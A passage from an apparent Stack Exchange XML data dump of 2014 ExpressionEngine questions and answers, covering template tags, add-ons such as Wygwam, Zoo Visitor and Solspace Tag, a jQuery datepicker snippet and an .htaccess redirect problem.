}&#xA;&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any ideas what that does and why anyone would use it? Is it connected to jquery match height or CartThrob in any way?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just to be sure, the last developers included it in no less than three js files…&#xA;If I comment it out the link issue is solved but without understanding what it does I'm reluctant to remove it altogether.&lt;/p&gt;&#xA;" OwnerUserId="305" LastActivityDate="2014-09-10T08:42:24.130" Title="Weird Javascript Issue" Tags="|cartthrob|jquery|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25607" PostTypeId="2" ParentId="25606" CreationDate="2014-09-10T08:42:24.130" Score="2" Body="&lt;p&gt;It's pretty munted. Presumably trying to make it IE6 compatible prevented them from just using :hover on divs and using an anchor as each .item HTML5 style.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The javascipt is attempting to do some pretty run of mill stuff:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;a) it's adding a .hover class to the #products_box children on hover, which are the .row-span divs, not the .item elements. (easily replaced with just css)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;b) if you click on one, and it's an .item, find the first link within the .item and point the user to the url in the anchor. (it's broken as it's just finding the first anchor in each .row-span, not the anchor in the .item the user is clicking on)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it was me, I'd remove the js and just use CSS for the hover styles, and rewrite the html to make the .item an anchor, wrapping all the internal items.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Done!&lt;/p&gt;&#xA;" OwnerUserId="549" LastActivityDate="2014-09-10T08:42:24.130" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25608" PostTypeId="2" ParentId="25605" CreationDate="2014-09-10T08:48:55.537" Score="0" Body="&lt;p&gt;When you say &lt;strong&gt;'index'&lt;/strong&gt; do you mean something like the &lt;em&gt;{count}&lt;/em&gt; variable in a Channel Entries loop?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If so then I believe &lt;em&gt;(if my memory serves me correctly&lt;/em&gt;) that the files tag pair allows you to use the &lt;em&gt;{count}&lt;/em&gt; variable inside it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I really hope I'm not remembering this incorrectly though. &lt;/p&gt;&#xA;" OwnerUserId="846" LastActivityDate="2014-09-10T08:48:55.537" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="25609" PostTypeId="1" CreationDate="2014-09-10T09:24:23.247" Score="1" ViewCount="83" Body="&lt;p&gt;The last few years we have been working for most of the time on responsive designed websites, and every time we are using ExpressionEngine and Wygwam module, we get complains from our clients regarding the automatic adding the inline css of the width + height when they add an image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've looked at this:&#xA;&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/9032/stopping-wygwam-from-assigning-dimensions-to-images&quot;&gt;Stopping WYGWAM from assigning dimensions to images&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and this:&#xA;&lt;a href=&quot;https://stackoverflow.com/questions/2051896/ckeditor-prevent-adding-image-dimensions-as-a-css-style&quot;&gt;https://stackoverflow.com/questions/2051896/ckeditor-prevent-adding-image-dimensions-as-a-css-style&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But have not had any success to implemented with the latest Wygwam and it is annoying to doing hacks and have to renew it every time we update the module.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In one of the articles I've read, it says that I can add some code to config.js (where ever that is on the latest Wygwam):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;config.disallowedContent = 'img{width,height}';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and that would solve the problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can this be added as a default feature on future Wygwam releases, or a feature when we install Wygwam?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="1385" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:12.123" LastActivityDate="2014-10-14T09:09:01.643" Title="Request: Disabled image size inline css" Tags="|pixelandtonic|wygwam|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25610" PostTypeId="2" ParentId="25558" CreationDate="2014-09-10T09:32:29.993" Score="-1" Body="&lt;p&gt;UPDATE: A knowledgeable PHP friend solved ALL errors for me by adding a new line of code on line number 145:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;$plugin_info = array();&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That fixed ALL errors and the site is running as normal now.&lt;/p&gt;&#xA;" OwnerUserId="3556" LastActivityDate="2014-09-10T09:32:29.993" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25613" PostTypeId="1" CreationDate="2014-09-10T12:03:41.390" Score="0" ViewCount="40" Body="&lt;p&gt;I'm using a Low Events field to store member birthdays, it's easy to calculate ages, display all members who were born in a given year, etc... and even to account for deceased members if necessary with the end date, but I'm having problems making a list of birthdays on a given day, ie, display everyone who was born on September 10th, is there a way to do this that I'm missing?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using EE 2.9 and the latest versions of add-ons, I have Low Search too, just in case it helps any.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;" OwnerUserId="817" LastActivityDate="2016-06-16T13:16:41.190" Title="Fixed day in different years lists with Low Events" Tags="|low-events|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25614" PostTypeId="1" AcceptedAnswerId="25622" CreationDate="2014-09-10T13:39:16.033" Score="0" ViewCount="40" Body="&lt;p&gt;I have just created my own module and need a bit of help displaying the content on the front end. I currently have some template tags &lt;code&gt;{exp:address_book:contact}{/exp:address_book:contact}&lt;/code&gt; and within them a series of variables; &lt;code&gt;{ab_name}&lt;/code&gt;, &lt;code&gt;{ab_contact_number}&lt;/code&gt; etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These are laid out in the site templates as so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:address_book:contacts}&#xA;  &amp;lt;table class=&quot;contact_info&quot;&amp;gt;&#xA;  &amp;lt;tr&amp;gt;&#xA;    &amp;lt;td class=&quot;label&quot;&amp;gt;Title&amp;lt;/td&amp;gt;&#xA;    &amp;lt;td&amp;gt;{ab_title}&amp;lt;/td&amp;gt;&#xA;    &amp;lt;td class=&quot;label&quot;&amp;gt;Company&amp;lt;/td&amp;gt;&#xA;    &amp;lt;td&amp;gt;{ab_company}&amp;lt;/td&amp;gt;&#xA;  &amp;lt;/tr&amp;gt;&#xA;  &amp;lt;tr&amp;gt;&#xA;    &amp;lt;td class=&quot;label&quot;&amp;gt;Name&amp;lt;/td&amp;gt;&#xA;    &amp;lt;td&amp;gt;{ab_first_name} {ab_last_name}&amp;lt;/td&amp;gt;&#xA;    &amp;lt;td&amp;gt;Company Tel No.&amp;lt;/td&amp;gt;&#xA;    &amp;lt;td&amp;gt;{ab_company_contact_number}&amp;lt;/td&amp;gt;&#xA;  &amp;lt;/tr&amp;gt;&#xA;  &amp;lt;tr&amp;gt;&#xA;    &amp;lt;td class=&quot;label&quot;&amp;gt;Contact No.&amp;lt;/td&amp;gt;&#xA;    &amp;lt;td&amp;gt;{ab_personal_number}&amp;lt;/td&amp;gt;&#xA;    &amp;lt;td colspan=&quot;2&quot;&amp;gt;{ab_address_1}&amp;lt;/td&amp;gt;&#xA;  &amp;lt;/tr&amp;gt;&#xA;  &amp;lt;tr&amp;gt;&#xA;    &amp;lt;td class=&quot;label&quot;&amp;gt;Email&amp;lt;/td&amp;gt;&#xA;    &amp;lt;td&amp;gt;&amp;lt;a href=&quot;mailto:{ab_email}&quot;&amp;gt;{ab_email}&amp;lt;/a&amp;gt;&amp;lt;/td&amp;gt;&#xA;    &amp;lt;td colspan=&quot;2&quot;&amp;gt;{ab_address_2}&amp;lt;/td&amp;gt;&#xA;  &amp;lt;/tr&amp;gt;&#xA;  &amp;lt;tr&amp;gt;&#xA;    &amp;lt;td class=&quot;label&quot;&amp;gt;Facebook&amp;lt;/td&amp;gt;&#xA;    &amp;lt;td&amp;gt;&amp;lt;a href=&quot;{ab_facebook}&quot; target=&quot;_blank&quot;&amp;gt;View page&amp;lt;/a&amp;gt;&amp;lt;/td&amp;gt;&#xA;    &amp;lt;td colspan=&quot;2&quot;&amp;gt;{ab_city}&amp;lt;/td&amp;gt;&#xA;  &amp;lt;/tr&amp;gt;&#xA;  &amp;lt;tr&amp;gt;&#xA;    &amp;lt;td class=&quot;label&quot;&amp;gt;Twitter&amp;lt;/td&amp;gt;&#xA;    &amp;lt;td&amp;gt;&amp;lt;a href=&quot;{ab_twitter}&quot; target=&quot;_blank&quot;&amp;gt;View feed&amp;lt;/a&amp;gt;&amp;lt;/td&amp;gt;&#xA;    &amp;lt;td colspan=&quot;2&quot;&amp;gt;{ab_county}{if ab_country}, {ab_country}{/if}&amp;lt;/td&amp;gt;&#xA;  &amp;lt;/tr&amp;gt;&#xA;  &amp;lt;tr&amp;gt;&#xA;    &amp;lt;td class=&quot;label&quot;&amp;gt;LinkedIn&amp;lt;/td&amp;gt;&#xA;    &amp;lt;td&amp;gt;&amp;lt;a href=&quot;{ab_linkedin}&quot; target=&quot;_blank&quot;&amp;gt;View profile&amp;lt;/a&amp;gt;&#xA;      &amp;lt;td colspan=&quot;2&quot;&amp;gt;{ab_post_code}&amp;lt;/td&amp;gt;&#xA;    &amp;lt;/tr&amp;gt;&#xA;  &amp;lt;/table&amp;gt;&#xA;{/exp:address_book:contacts}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Ideally I need to find a way to output this data in a single tag, rather than having to specify the layout in the site template files. Is there any way to do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my function in my mod.module.php file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function contacts()&#xA;{&#xA;&#xA;    $contact_id = $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;fetch_param('contact_id');&#xA;&#xA;    $tagdata = $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;tagdata;&#xA;&#xA;    $this-&amp;gt;EE-&amp;gt;db-&amp;gt;select('*');&#xA;    if( $contact_id ) {&#xA;        $this-&amp;gt;EE-&amp;gt;db-&amp;gt;where('id', $contact_id); &#xA;    }&#xA;    $this-&amp;gt;EE-&amp;gt;db-&amp;gt;from('address_book');&#xA;    $this-&amp;gt;EE-&amp;gt;db-&amp;gt;order_by('first_name', 'asc');&#xA;&#xA;    $query = $this-&amp;gt;EE-&amp;gt;db-&amp;gt;get();&#xA;&#xA;    if ($query-&amp;gt;num_rows() == 0)&#xA;    {&#xA;        return $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;no_results();&#xA;    }&#xA;&#xA;    foreach ( $query-&amp;gt;result_array() as $row ) {&#xA;        $variables[] = array(&#xA;            'ab_title' =&amp;gt; $row['title'],&#xA;            'ab_first_name' =&amp;gt; $row['first_name'],&#xA;            'ab_last_name' =&amp;gt; $row['last_name'],&#xA;            'ab_personal_number' =&amp;gt; $row['personal_contact_number'],&#xA;            'ab_company' =&amp;gt; $row['company'],&#xA;            'ab_company_contact_number' =&amp;gt; $row['company_contact_number'],&#xA;            'ab_address_1' =&amp;gt; $row['address_street_1'],&#xA;            'ab_address_2' =&amp;gt; $row['address_street_2'],&#xA;            'ab_city' =&amp;gt; $row['address_city'],&#xA;            'ab_county' =&amp;gt; $row['address_county'],&#xA;            'ab_country' =&amp;gt; $row['address_country'],&#xA;            'ab_post_code' =&amp;gt; $row['address_post_code'],&#xA;            'ab_website' =&amp;gt; $row['website'],&#xA;            'ab_email' =&amp;gt; $row['email_address'],&#xA;            'ab_facebook' =&amp;gt; $row['facebook'],&#xA;            'ab_twitter' =&amp;gt; $row['twitter'],&#xA;            'ab_linkedin' =&amp;gt; $row['linkedin'],&#xA;            );&#xA;    }&#xA;&#xA;    return $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;parse_variables( $tagdata, $variables );&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any help would be greatly appreciated, thank you.&lt;/p&gt;&#xA;" OwnerUserId="2420" LastActivityDate="2014-09-10T18:34:36.813" Title="How do I create a single template tag which outputs multiple bits of data?" Tags="|add-on-development|module|tags|variable|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25617" PostTypeId="1" CreationDate="2014-09-10T15:54:32.937" Score="1" ViewCount="104" Body="&lt;p&gt;Is it possible to add an attachment to the order confirmation email in expresso store?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The attachment is just a generic terms and conditions type thing. So will be the same for all orders.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&#xA;Dave&lt;/p&gt;&#xA;" OwnerUserId="730" LastEditorUserId="730" LastEditDate="2014-09-24T18:07:04.590" LastActivityDate="2014-10-24T18:18:48.937" Title="Expresso Store: Add PDF attachement to order confirmation emails" Tags="|expresso-store|email|2.8|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25619" PostTypeId="2" ParentId="25613" CreationDate="2014-09-10T17:02:29.030" Score="0" Body="&lt;p&gt;I over-complicated the solution. Using the search parameter on a channel:entries or low_events:entries solves the problem. I knew I was missing something.&lt;/p&gt;&#xA;" OwnerUserId="817" LastEditorUserId="817" LastEditDate="2014-09-10T20:09:41.600" LastActivityDate="2014-09-10T20:09:41.600" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25621" PostTypeId="1" CreationDate="2014-09-10T18:25:31.813" Score="1" ViewCount="49" Body="&lt;p&gt;When viewing Order Fields under settings the select boxes are empty. Fresh install of EE 2.9 latest Expresso Store and Zoo Visitor. Should I not be able to map the ZooVisitor member fields or was that removed from 2.4.0 Store?&lt;/p&gt;&#xA;" OwnerUserId="3565" LastActivityDate="2016-06-16T08:14:14.230" Title="No member fields showing from zoovisitor in order fields setting" Tags="|expresso-store|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25622" PostTypeId="2" ParentId="25614" CreationDate="2014-09-10T18:34:36.813" Score="1" Body="&lt;p&gt;The best coding practice is to utilize &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/development/module_tutorial.html#the-view-files&quot; rel=&quot;nofollow&quot;&gt;view files&lt;/a&gt; in order to achieve that.&lt;/p&gt;&#xA;" OwnerUserId="19" LastActivityDate="2014-09-10T18:34:36.813" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25624" PostTypeId="1" CreationDate="2014-09-10T19:04:30.947" Score="1" ViewCount="63" Body="&lt;p&gt;If I have the following in my .htaccess&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    RewriteCond %{HTTP_HOST} !^www\.domain\.com$&#xA;    RewriteRule (.*) http://www.domain.com/$1 [R=301,L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I go to submit a form on the website, forms just essentially refreshes the page. There is nothing in the database and no email is received. If I comment out those two lines, then it will work fine. In the general configuration it is set to &lt;a href=&quot;http://www.domain.com&quot; rel=&quot;nofollow&quot;&gt;http://www.domain.com&lt;/a&gt;. I'm also submitting the form with the www. in the address bar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE 2.6.1&#xA;Forms 3.3.5&lt;/p&gt;&#xA;" OwnerUserId="1510" LastActivityDate="2014-09-11T13:23:55.483" Title="Devdemon forms not working when there is a 301 redirect" Tags="|devdemon|devdemon-forms|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="25626" PostTypeId="1" CreationDate="2014-09-10T21:09:07.480" Score="0" ViewCount="140" Body="&lt;p&gt;Is there any way to have SKU related product image? My goal is to have changed product image on SKU change (product option change). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It looks like that I need to customize part which is responsible for a dynamic SKU display, but I'm not 100% sure and I want to avoid some overhead in that case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any tips.&lt;/p&gt;&#xA;" OwnerUserId="1577" LastActivityDate="2016-11-10T11:35:40.957" Title="Expresso Store and SKU related product picture" Tags="|expresso-store|product|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25627" PostTypeId="2" ParentId="25542" CreationDate="2014-09-10T21:28:02.067" Score="0" Body="&lt;p&gt;I would say this is an EE omission or simply a typo, although I've not used Profile:Edit before.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The text in your email notification &lt;em&gt;(Design &gt; Message Pages &gt; Email Notifications)&lt;/em&gt; is the default 'forgot password' notification, and when you look at this page in EE, you can see the variables available for use in the template; &lt;code&gt;{username}&lt;/code&gt; is not an option but its been included in the template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/CG2kv.png&quot; alt=&quot;Forgot password notification template&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Although &lt;code&gt;{name}&lt;/code&gt; and &lt;code&gt;{username}&lt;/code&gt; can be different, EE doesn't offer the facility to remind people of their username at this point, only to reset password. Other templates do include the &lt;code&gt;{username}&lt;/code&gt; variable, so I can't imagine it would be too difficult to add.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would make a nice touch to be able to include it in the password reset process, as this is triggered by your email address, which might not be the username.&lt;/p&gt;&#xA;" OwnerUserId="1287" LastActivityDate="2014-09-10T21:28:02.067" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25629" PostTypeId="1" AcceptedAnswerId="25630" CreationDate="2014-09-10T23:27:58.843" Score="0" ViewCount="43" Body="&lt;p&gt;I'm having trouble getting a condition to evaluate properly: &lt;a href=&quot;http://goo.gl/wWkw4E&quot; rel=&quot;nofollow&quot;&gt;http://goo.gl/wWkw4E&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's what I'm trying to achieve:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;If an image has been uploaded, show image 1 &lt;/li&gt;&#xA;&lt;li&gt;If no image has been uploaded but the post is category 4, show image 2 (male)&lt;/li&gt;&#xA;&lt;li&gt;If no image has been uploaded and the post is not category 4, show image 3 (female)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Your help is highly appreciated :) &lt;/p&gt;&#xA;" OwnerUserId="1736" LastActivityDate="2014-09-11T00:22:35.807" Title="ExpressionEngine Conditionals if:elseif" Tags="|conditionals|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25630" PostTypeId="2" ParentId="25629" CreationDate="2014-09-11T00:22:35.807" Score="2" Body="&lt;p&gt;I can't see the point of using an manipulation on conditional. All manipulations are generated for the directory you set to use on the field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please, test this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{categories}&#xA;  {if voice_talent_headshot}&#xA;    {voice_talent_headshot:thumb80}&#xA;  {if:elseif category_id == '4'}&#xA;    {assets}/images/headshot-man.png&#xA;  {if:else}&#xA;    {assets}/images/headshot-woman.png&#xA;  {/if}&#xA;{/categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="343" LastActivityDate="2014-09-11T00:22:35.807" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25632" PostTypeId="2" ParentId="24499" CreationDate="2014-09-11T04:04:33.690" Score="0" Body="&lt;p&gt;I was able to achieve this by setting the field to text then I created a new snippet with the following jQuery:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script&amp;gt;&#xA;$(function() {&#xA;$( &quot;#datepicker-one&quot; ).datepicker(); &#xA;});&#xA;$(function() {&#xA;$( &quot;#datepicker-two&quot; ).datepicker(); &#xA;});&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I added that snippet to the header of my template and then set the ID's on the fields to datepicker-one and datepicker-two worked out great.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However now I want to do the same thing but for a column within a Matrix field and my problem is there isn't the option to declare an ID for this field. Perhaps I could adjust this jQuery to use the name value instead of an ID but not I'm not exactly sure how to do that. Any suggestions on how to also get this functionality within a Matrix field would be greatly appreciated!&lt;/p&gt;&#xA;" OwnerUserId="3279" LastActivityDate="2014-09-11T04:04:33.690" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25634" PostTypeId="2" ParentId="24506" CreationDate="2014-09-11T09:24:16.253" Score="4" Body="&lt;p&gt;For the sake of completeness you can fix this with a simple SQL query to add the required column. See &lt;a href=&quot;https://support.ellislab.com/bugs/detail/20479/updating-from-2.7-or-older-to-2.9-you-can-hit-a-mysql-error&quot; rel=&quot;nofollow&quot;&gt;see this official EE thread&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2014-09-11T09:24:16.253" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25636" PostTypeId="1" CreationDate="2014-09-11T10:39:43.113" Score="1" ViewCount="64" Body="&lt;p&gt;I'm using EE 2.8.1 and Zoo Visitor 1.3.32.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to output a list of all members using &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:zoo_visitor:memberlist}&#xA;&#xA;    {title}&#xA;&#xA;{/exp:zoo_visitor:memberlist}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and have also tried&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;members&quot; status=&quot;not closed&quot; dynamic=&quot;no&quot;}&#xA;&#xA;     {title}&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But each time it only outputs 3 members out of 15. The members it does output are guests and super admins - it won't output any member of the default Members group. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any body come across this before? &lt;/p&gt;&#xA;" OwnerUserId="1994" LastEditorUserId="1994" LastEditDate="2014-09-11T11:20:19.787" LastActivityDate="2015-08-08T21:47:21.793" Title="Zoo Visitor not outputting all members" Tags="|members|zoo-visitor|transcribe|zoo|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25637" PostTypeId="2" ParentId="25636" CreationDate="2014-09-11T11:08:15.873" Score="1" Body="&lt;p&gt;I figured out what's happening here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm also using transcribe on this site and it somewhat hijacks the channel entries output. The entry ID needs to be in the &lt;code&gt;exp_transcribe_entries_languages&lt;/code&gt; table to be output on the frontend. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;All of the members that weren't outputting were added through a front end Zoo Visitor registration form but this wouldn't take into account the need to add the entry into this table. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any that were outputting I had viewed/edited the entry in the CP, meaning Transcribe kicked in and sorted out the multilingual side of things. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Solution&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add &lt;code&gt;transcribe='disable'&lt;/code&gt; to your channel entries or zoo visitor tag. &lt;/p&gt;&#xA;" OwnerUserId="1994" LastActivityDate="2014-09-11T11:08:15.873" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25638" PostTypeId="1" CreationDate="2014-09-11T12:48:02.580" Score="0" ViewCount="66" Body="&lt;p&gt;I'm using tags as a filter example here: http:// devsite2 . desworkdev . co . uk/selector (Test site). The number of products with a specific tag is show next to each tag name.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On certain tags, when I click through the number of products shown doesn't match. E.g. semi sweet (6) should have 6 products with that tag, however when I click through only 5 products are showing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could someone please let me know what could be causing this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;ExpressionEngine v2.9.0 &lt;/li&gt;&#xA;&lt;li&gt;Tag 4.2.7&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Code on the tag list page&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:tag:cloud channel=&quot;products&quot; tag_group_name=&quot;default&quot; limit=&quot;100&quot;}&#xA;    &amp;lt;li&amp;gt;&amp;lt;input type=&quot;checkbox&quot; name=&quot;filter[]&quot; value=&quot;{websafe_tag}&quot;&amp;gt; &amp;lt;a href=&quot;{path='selector/tag'}/{websafe_tag}&quot;&amp;gt;{tag} ({total_entries})&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;{/exp:tag:cloud}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Code on the tag entry page&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:tag:entries inclusive=&quot;yes&quot; sort=&quot;asc&quot;}&#xA;&amp;lt;div class=&quot;box3col&quot;&amp;gt;&#xA;     {if no_tag_results}&#xA;        &amp;lt;h2&amp;gt;No products match your tag selection&amp;lt;/h2&amp;gt;&#xA;     {/if}&#xA;&#xA;     &amp;lt;a href=&quot;{url_title_path='products/detail'}&quot;&amp;gt;&#xA;     {if new_product !=&quot;&quot;}&#xA;         &amp;lt;span class=&quot;new&quot;&amp;gt;&amp;lt;img src=&quot;{site_url}images/interface/new.png&quot; alt=&quot;New product&quot; /&amp;gt;&amp;lt;/span&amp;gt;&#xA;     {/if}&#xA;     {if image_1 !=&quot;&quot;}&#xA;            &amp;lt;img src=&quot;{image_1}&quot; alt=&quot;&quot; /&amp;gt;&#xA;     {if:else}&#xA;            &amp;lt;img src=&quot;{site_url}images/uploads/default.jpg&quot; alt=&quot;&quot; /&amp;gt;&#xA;     {/if}&#xA;     &amp;lt;/a&amp;gt;&#xA;     &amp;lt;div class=&quot;copare-code-wrapper&quot;&amp;gt;&#xA;           &amp;lt;div class=&quot;prod-code&quot;&amp;gt;&amp;lt;p&amp;gt;Product code&amp;lt;/p&amp;gt;{if recipe_code !=&quot;&quot;}{recipe_code}{if:else}N/A{/if}&amp;lt;/div&amp;gt;&#xA;     &amp;lt;/div&amp;gt;&#xA;     &amp;lt;div class=&quot;info light&quot;&amp;gt;&#xA;         &amp;lt;h2&amp;gt;{title}&amp;lt;/h2&amp;gt;&amp;lt;p&amp;gt;&amp;lt;a href=&quot;{url_title_path='products/detail'}&quot;&amp;gt;More info&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;     &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;{/exp:tag:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;URL: &lt;a href=&quot;http://devsite2.desworkdev.co.uk/selector/tag/semi+sweet&quot; rel=&quot;nofollow&quot;&gt;http://devsite2.desworkdev.co.uk/selector/tag/semi+sweet&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3569" LastEditorUserId="55" LastEditDate="2014-09-14T21:18:07.423" LastActivityDate="2016-06-02T08:20:51.633" Title="Solspace tag incorrect number of entries returned" Tags="|solspace|solspace-tag|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="25639" PostTypeId="1" AcceptedAnswerId="25765" CreationDate="2014-09-11T12:51:10.543" Score="0" ViewCount="82" Body="&lt;p&gt;Hi wondering if anyone can help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using Google maps for expression engine from Objective html.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a channel called &quot;franchise&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In each of the entries i will have &quot;one&quot; plot based on their postcode.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;franchise&quot; status=&quot;open&quot; dynamic=&quot;on&quot;}&#xA;  {exp:gmap:init id=&quot;map&quot; scrollwheel=&quot;false&quot;  style=&quot;width:100%;height:300px&quot;}&#xA;  {map_position id=&quot;map&quot; zoom=&quot;10&quot;}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The above code is on the view page of the entry, This all works great for showing that one marker and even if i add another marker using the fieldtype that works great also. Just to check though this is the correct syntax? Obviously it works but if anyone can tell me if it is wrong in any way would be much appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am wondering how i can have a main page that pulls through all the plots from every entry that have been added into the fieldtype and the syntax i need to pull that through. I have had a look at the docs but cant quite get my head around it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When i click the marker i want to be able to show the title of the entry also.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks to anyone that can help.&lt;/p&gt;&#xA;" OwnerUserId="3335" LastActivityDate="2014-09-19T13:09:34.017" Title="Objective HTML Google maps for ExpressionEngine" Tags="|google-maps-for-ee|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
